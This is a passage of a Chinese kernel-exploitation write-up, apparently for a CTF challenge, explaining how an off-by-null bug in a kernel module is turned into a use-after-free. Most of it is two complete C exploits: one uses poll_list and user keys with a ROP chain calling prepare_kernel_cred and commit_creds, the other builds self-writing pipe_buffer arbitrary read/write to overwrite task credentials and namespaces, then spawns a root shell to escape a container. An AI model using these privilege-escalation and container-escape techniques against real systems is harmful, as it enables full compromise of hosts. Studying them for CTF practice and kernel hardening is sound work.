    usleep(250000);

    puts("[*] Freeing corrupted key...");
    free_key(corrupted_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    *(uint64_t *)&data[0] = target_object - 0x18;

    for (int i = 0; i < MAX_KEYS; i++)
    {
        setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < 72; i++)
        free_tty(i);

    sleep(1); // GC TTYs

    puts("[*] Spraying pipe_buffer structures...");
    for (int i = 0; i < 1024; i++)
        alloc_pipe_buff(i);

    puts("[*] Triggering arbitrary free...");
    while (poll_threads != 0) { };

    buff = (char *)calloc(1, 1024);

    // Stack pivot
    *(uint64_t *)&buff[0x10] = target_object + 0x30;             // anon_pipe_buf_ops
    *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
    *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret
    *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret

    // ROP
    rop = (uint64_t *)&buff[0x80];

    // creds = prepare_kernel_cred(0)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred

    // commit_creds(creds)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds

    // task = find_task_by_vpid(1)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= 1;                                // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // switch_task_namespaces(task, init_nsproxy)
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0;                                // 0
    *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
    *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret
    *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy;
    *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces

    // new_fs = copy_fs_struct(init_fs)
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= kernel_base + 0xffffffff82589740; // init_fs;
    *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct;
    *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret

    // current = find_task_by_vpid(getpid())
    *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret
    *rop ++= getpid();                         // pid
    *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid

    // current->fs = new_fs
    *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret
    *rop ++= 0x6e0;                            // current->fs
    *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret
    *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret
    *rop ++= 0;                                // rbx

    // kpti trampoline
    *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22
    *rop ++= 0;
    *rop ++= 0;
    *rop ++= (uint64_t)&win;
    *rop ++= usr_cs;
    *rop ++= usr_rflags;
    *rop ++= (uint64_t)(stack + 0x5000);
    *rop ++= usr_ss;

    puts("[*] Freeing user keys...");
    free_all_keys(false);

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++)
        keys[i] = alloc_key(n_keys++, buff, 600);

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < 1024; i++)
        release_pipe_buff(i);

    // --- 

    for (int i = 0; i < 256; i++)
        pthread_join(poll_tid[i], NULL);
}

第二种利用方式就是直接利用 pipe_buffer 去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;
    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] %s\033[0m\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}


struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100

int key_id[SPRAY_PIPE_NUMS];

int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;

int fd;
void off_by_null(){
        char buf[PAGE_SIZE] = { 0 };
        write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;

void construct_first_level_page_uaf() {
        info("Step I - construct first level page uaf");

        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");
                if (i > 4 && (i % 9) == 0 && flag) {
                        char des[16] = { 0 };
                        char val[4096] = { 0 };
                        sprintf(des, "%s%d", "pwn_", i);
                        if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)
                                printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;
                }
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }

/*
        puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                close(pipe_fd[i][0]);
                close(pipe_fd[i][1]);
        }
*/

        puts("[+] Trying to overwrite pipe_buffer.page");
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
        sleep(1);
        off_by_null();

/*
        puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");
        }

        puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");

                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAX", 8);
                write(pipe_fd[i][1], "BBBBBBBX", 8);
        }
*/
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                int nr = -1;
                char tag[16] = { 0 };
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") && i != nr) {
                        orig_idx = nr;
                        victim_idx = i;
                        hexx("orig_idx", orig_idx);
                        hexx("victim_idx", victim_idx);
                }
        }

        if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");
        puts("");

}

void construct_second_level_page_uaf() {
        info("Step II - construct second level page uaf");

        size_t buf[PAGE_SIZE] = { 0 };
        size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);
        read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);

/*
        puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < 130 && flag; i++, k++) {
                char des[16] = { 0 };
                char val[96] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        sleep(1);

        puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }
/*
        for (int i = 0; i < k; i++) {
                key_revoke(key_id[i]);
                key_unlink(key_id[i]);
        }
*/
        puts("[+] Checking...");
        read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));
        if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");

        binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));
        hexx("pipe_buffer.page   ", self_pipe_buf.page);
        hexx("pipe_buffer.offset ", self_pipe_buf.offset);
        hexx("pipe_buffer.len    ", self_pipe_buf.len);
        hexx("pipe_buffer.ops    ", self_pipe_buf.ops);
        hexx("pipe_buffer.flags  ", self_pipe_buf.flags);
        hexx("pipe_buffer.private", self_pipe_buf.private);

        write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));
        puts("[+] Checking...");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                int nr = -1;
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (nr < SPRAY_PIPE_NUMS && i != nr) {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        hexx("snd_orig_idx", snd_orig_idx);
                        hexx("snd_victim_idx", snd_victim_idx);
                }
        }

        if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");
        puts("");
}

void construct_self_writing_pipe() {
        info("Step III - construct self writing pipe");
        size_t buf[0x1000] = { 0 };
        struct pipe_buffer evil_pipe_buf;
        struct page* page_ptr;
        int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*
        puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");
        int k = 0, flag = 1;
        for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {
                char des[16] = { 0 };
                char val[192] = { 0 };
                sprintf(des, "%d", i);
                if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)
                        printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;
        }
*/
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");
        }

        puts("[+] Checking...");
        puts("[+] construct self writing pipe I");
        memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        evil_pipe_buf.offset = T_PIPE_BUF_SZ;
        evil_pipe_buf.len = T_PIPE_BUF_SZ;
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_1_pipe_idx = i;
                        hexx("self_1_pipe_idx", self_1_pipe_idx);
                        break;
                }
        }
        if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");

        puts("[+] construct self writing pipe II");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_2_pipe_idx = i;
                        hexx("self_2_pipe_idx", self_2_pipe_idx);
                        break;
                }
        }
        if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");

        puts("[+] construct self writing pipe III");
        write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));
        page_ptr = NULL;
        for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
                if (i == victim_idx || i == orig_idx) continue;
                if (i == snd_victim_idx || i == snd_orig_idx) continue;
                if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;
                read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));
                if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {
                        self_3_pipe_idx = i;
                        hexx("self_3_pipe_idx", self_3_pipe_idx);
                        break;
                }
        }
        if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");

        puts("");
}


void setup_self_writing_pipe()
{
        info("Step IV - setup self writing pipe system");
        memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));
        memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));

        self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;
        self_2_pipe_buf.len = 0;
        self_3_pipe_buf.offset = T_PIPE_BUF_SZ;
        self_3_pipe_buf.len = 0;

        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

}

void arb_read(struct page* page_ptr, void* dst, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0x1000;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        read(pipe_fd[self_1_pipe_idx][0], dst, len);
}

void arb_write(struct page* page_ptr, void* src, size_t len)
{
        char buf[T_PIPE_BUF_SZ] = { 0 };
        self_1_pipe_buf.page = page_ptr;
        self_1_pipe_buf.offset = 0;
        self_1_pipe_buf.len = 0;

        write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));
        write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));

        write(pipe_fd[self_1_pipe_idx][1], src, len);
}


void pwn()
{
        info("NO PWN NO FUN");
        size_t buf[0x1000];
        puts("[+] Leaking vmemmap base and kernel offset by arb_read");
        vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;
        int f = 10;
        for (;;)
        {
                arb_read(vmemmap_base+157*0x40, buf, 8);
                if (f)
                {
                        hexx("data", buf[0]);
                        f--;
                }
                if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040)
                {
                        kernel_base = buf[0] - 0x040;
                        kernel_offset = kernel_base - 0xffffffff81000000;
                        break;
                }
                vmemmap_base -= 0x10000000;
        }

        hexx("vmemmap_base", vmemmap_base);
        hexx("kernel_base", kernel_base);
        hexx("kernel_offset", kernel_offset);

        puts("[+] Searching for task_struct");
        uint64_t parent_task, current_task;
        uint64_t* comm_addr = NULL;
        size_t base = 0xffff000000000000;

        for (int i = 0; ; i++)
        {
                memset(buf, 0, sizeof(buf));
                arb_read(vmemmap_base+i*0x40, buf, 0xff0);
                comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);
                if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base)
                {
                //      parent_task = comm_addr[-56];
                        current_task = comm_addr[-49] - 0x528;
                        page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;
                        page_offset_base &= 0xfffffffff0000000;
                        break;
                }
        }

//      hexx("parent_task", parent_task);
        hexx("current_task", current_task);
        hexx("page_offset_base", page_offset_base);

/*
        size_t cinit_task = current_task;
        size_t pid_offset = 0x4e0 / 8;
        size_t real_parent_offset = 0x4f0 / 8;
        for (int i = 0; ; i++){
                memset(buf, 0, sizeof(buf));
                size_t look_page = direct_map_addr_to_page_addr(cinit_task);
                arb_read(look_page, buf, 0xff0);
                arb_read(look_page+0x40, &buf[512], 0xff0);
                size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
                if ((look_buf[pid_offset] & 0xffffffff) == 1) {
                        break;
                }

                cinit_task = look_buf[real_parent_offset];
        }

        hexx("cinit_task", cinit_task);
*/
        puts("[+] Elevating privileges and Escaping container");
        init_fs   = 0xffffffff82589740 + kernel_offset;
        init_task = 0xffffffff82415940 + kernel_offset;
        init_cred = 0xffffffff8245a960 + kernel_offset;
        init_nsproxy = 0xffffffff8245a720 + kernel_offset;
        hexx("init_fs", init_fs);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);
        hexx("init_nsproxy", init_nsproxy);

        memset(buf, 0, sizeof(buf));
        size_t current_task_page = direct_map_addr_to_page_addr(current_task);
        arb_read(current_task_page, buf, 0xff0);
        arb_read(current_task_page+0x40, &buf[512], 0xff0);

        size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(current_task_page, buf, 0xff0);
        arb_write(current_task_page+0x40, &buf[512], 0xff0);

/*      memset(buf, 0, sizeof(buf));
        size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);
        arb_read(cinit_task_page, buf, 0xff0);
        arb_read(cinit_task_page+0x40, &buf[512], 0xff0);

        tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));
        tsk_buf[211] = init_cred;
        tsk_buf[212] = init_cred;
        tsk_buf[220] = init_fs;
        tsk_buf[222] = init_nsproxy;

        arb_write(cinit_task_page, buf, 0xff0);
        arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/
        hexx("UID", getuid());
        system("/bin/sh");
        while(1) {}
}

int main(int argc, char** argv, char** envp) {

        bind_core(0);
        save_status();
        fd = open("/proc_rw/cormon", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");
        if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");

        construct_first_level_page_uaf();
        construct_second_level_page_uaf();
        construct_self_writing_pipe();
        setup_self_writing_pipe();
        pwn();
//      getchar();
        puts("[~] EXP NERVER END!");
        return 0;
}

效果如下:成功率也还行,最后可以成功提权逃逸
在这里插入图片描述

总结

总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑去构造 UAF 了。

比如在 poll_list 利用方式中:

  • 先堆喷大量 32 字节大小的 user_key_payload

这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00

  • 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object

这里笔者存在一个问题,这种方式是不是只能针对 4096 大小的 off by null 呢?因为只有 poll_list 链的最后一个 poll_list 的大小才是可以控制的

  • 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload
  • 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF

pipe_buffer 构造自写管道也是一样的,pipe_buffer.page 指向的是一个 struct page 结构体,而该结构体大小为 0x40,所以其低字节可能为 0x400x800xc00x00

总的来说感觉利用 pipe_buffer 构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer,并且 pipe_buffer 的大小是可以通过 fcntl 修改的,并且其只需要一次 off by null 即可(当然 poll_list 利用方式也是只需要一次),所以似乎其也更加通用。

当然这里还是得讨论下另一个女友 msg_msg 了。在 CVE-2021-22555 中,msg_msg + sk_buf + pipe_buffer 仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null 呢?在原 CVE 的利用中,从消息是堆喷的 1024 大小,其低字节恒为 \x00,所以此时 off by null 似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF,所以我们可以选择 kmalloc-8 ~ kmalloc-192 之间的 object 作为从消息去构造 kmalloc-8 ~ kmalloc-192UAF,比如这里就i可以选择 kmalloc-32 即利用 user_key_payload 去泄漏相关信息,并且观察 user_key_payloadmsg_msg 结构体你会发现,我们可以通过 setxattr 去控制 user_key_payload 的头 8 字节为 null也就是说可以控制 msg_msg 的头 8 字节,然后 msg_msg.nextuser_key_payloaddata 域,所以可以控制 msg_msg.next 从而可以构造任意释放原语。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1462914.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

7 数据迁移至达梦数据库

无论使用哪种解决方案很大可能性都需要进行数据迁移&#xff0c;即将旧的非 达梦数据库的数据迁移到达梦数据库。 我们要把 Nacos 的数据或者 SQL 语句迁移到达梦数据库。借助 DM 数据迁移工具 &#xff0c;完成 Nacos 配置数据表迁移到达梦数据库。

ros自定义action记录

文章目录 自定义action1. 定义action文件2. 修改 package.xml3. 修改 CMakeLists.txt4. 运行 catkin build5. simple_action_server.py6. simple_action_client.py 测试 自定义action ros 版本&#xff1a;kinetic 自定义test包的文件结构如下 |-- test | |-- CMakeLists.t…

【9-1】实验——Neo4j实战操作

目录 一、Neo4j操作——CQL 1、常用CQL命令 2.常用CQL函数 3.图数据的形式 二、实战代码1.create命令 2. MATCH命令 三、使用neo4j工具导入知识图谱 1、工具&#xff1a;neo4j-admin 2、图谱导入&#xff1a; 3、更新图谱&#xff1a; 一、Neo4j操作——CQL 1、常用…

RMAN备份与恢复

文章目录 一、RMAN介绍二、全量备份三、增量备份0级备份1级增量备份累积性差量备份总结 四、压缩备份压缩备份介绍压缩备份操作压缩备份优缺点 五、异常恢复1、恢复前的准备2、恢复数据库 六、RMAN相关参数 一、RMAN介绍 RMAN&#xff08;Recovery Manager&#xff09;是Oracl…

啤酒:精酿啤酒与炸鸡的香脆搭配

炸鸡与啤酒&#xff0c;这对美食界的黄金搭档&#xff0c;早已成为了人们心目中的经典。而当Fendi Club啤酒遇上炸鸡&#xff0c;一场味觉的狂欢就此展开。 Fendi Club啤酒&#xff0c;以其醇厚的口感和淡淡的麦芽香气而著称。这款啤酒在酿造过程中采用了特别的工艺&#xff0c…

Android加载富文本

直接用webview加载&#xff1a; package com.example.testcsdnproject;import androidx.appcompat.app.AppCompatActivity;import android.annotation.SuppressLint; import android.graphics.Color; import android.os.Bundle; import android.util.Log; import android.webk…

模型转换案例学习:等效替换不支持算子

文章介绍 Qualcomm Neural Processing SDK &#xff08;以下简称SNPE&#xff09;支持Caffe、ONNX、PyTorch和TensorFlow等不同ML框架的算子。对于某些特定的不支持的算子&#xff0c;我们介绍一种算子等效替换的方法来完成模型转换。本案例来源于https://github.com/quic/qidk…

js谐音梗创意小游戏《望子成龙》

&#x1f33b; 前言 龙年到来&#xff0c;祥瑞满天。愿您如龙般矫健&#xff0c;事业腾飞&#xff1b;如龙鳞闪耀&#xff0c;生活美满。祝您龙年大吉&#xff0c;万事如意&#xff01; 龙年伊始&#xff0c;我给各位设计了一款原创的小游戏&#xff0c;话不多说&#xff0c;直…

D5020——外围元件少,内含压缩器和扩展器静噪电路,可应用在1.5V立体声耳机上,响应时间可调

D5020是一块增益可调 的压缩、扩展电路。它有两个通道组成&#xff0c;一个通道作扩展用&#xff0c;另一个通道能作压缩或扩展用。电路内部含有小信号全波整流、检测信号的大小&#xff0c;用于调节输入或反馈通道的增益大小。含有温度特性较好的带隙精密基准源&#xff0c;静…

Leetcode 11.盛水最多的容器

